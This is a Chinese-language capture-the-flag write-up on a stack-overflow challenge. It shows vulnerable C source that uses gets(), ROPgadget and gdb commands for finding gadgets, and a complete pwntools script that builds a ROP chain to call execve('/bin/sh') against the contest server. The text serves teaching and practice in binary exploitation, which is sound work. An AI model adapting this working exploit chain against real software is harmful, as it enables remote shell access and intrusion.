題目原始碼
#include<stdio.h>
#include<stdlib.h>
void init(){
setvbuf(stdout,0,2,0);
setvbuf(stdin,0,2,0);
setvbuf(stderr,0,2,0);
}
int main(){
init();
puts( "Say hello to stack :D" );
char buf[0x30];
gets( buf );
return 0;
}
What is ROP?
ROP 是一種利用程式漏洞執行惡意程式碼的攻擊手法。它主要用來繞過現代作業系統的防禦機制,特別是 DEP(Data Execution Prevention,資料執行保護)。

解題
構建execve syscall
取得相關位置
ROPgadget --binary share/rop --only "pop|ret"|grep rax

ROPgadget --binary share/rop --only "pop|ret"|grep rdi

ROPgadget --binary share/rop --only "pop|ret"|grep rsi

ROPgadget --binary share/rop --only "pop|ret"|grep rdx

剛好有一個可以同時pop rdx,rsi的可以用
ROPgadget --binary share/rop |grep "mov qword"|grep rdi|grep rsi

尋找可用的空白地區
gdb ./share/rop
vmmap
x/30gh 0x6b6000

構建payload
from pwn import *
context.arch="amd64" #用flat一定要加
host="chall.nckuctf.org"
port=28207
r=remote(host,port)
pop_rdi=0x400686
pop_rax=0x415714
pop_rsi=0x4100f3
pop_rdx_rsi=0x44beb9
bss=0x6b6010
mov_qword_rdi_rsi=0x44709b
cmd=b'/bin/sh\0'
syscall=0x40125c
p=flat(
b'a'*0x38,
pop_rdi,bss,
pop_rsi,cmd,
mov_qword_rdi_rsi,
pop_rdx_rsi,
0x0,
0x0,
pop_rax,0x3b,
syscall
)
r.sendlineafter(b':D',p)
r.interactive()
r.close()
取得flag



說些什麼吧!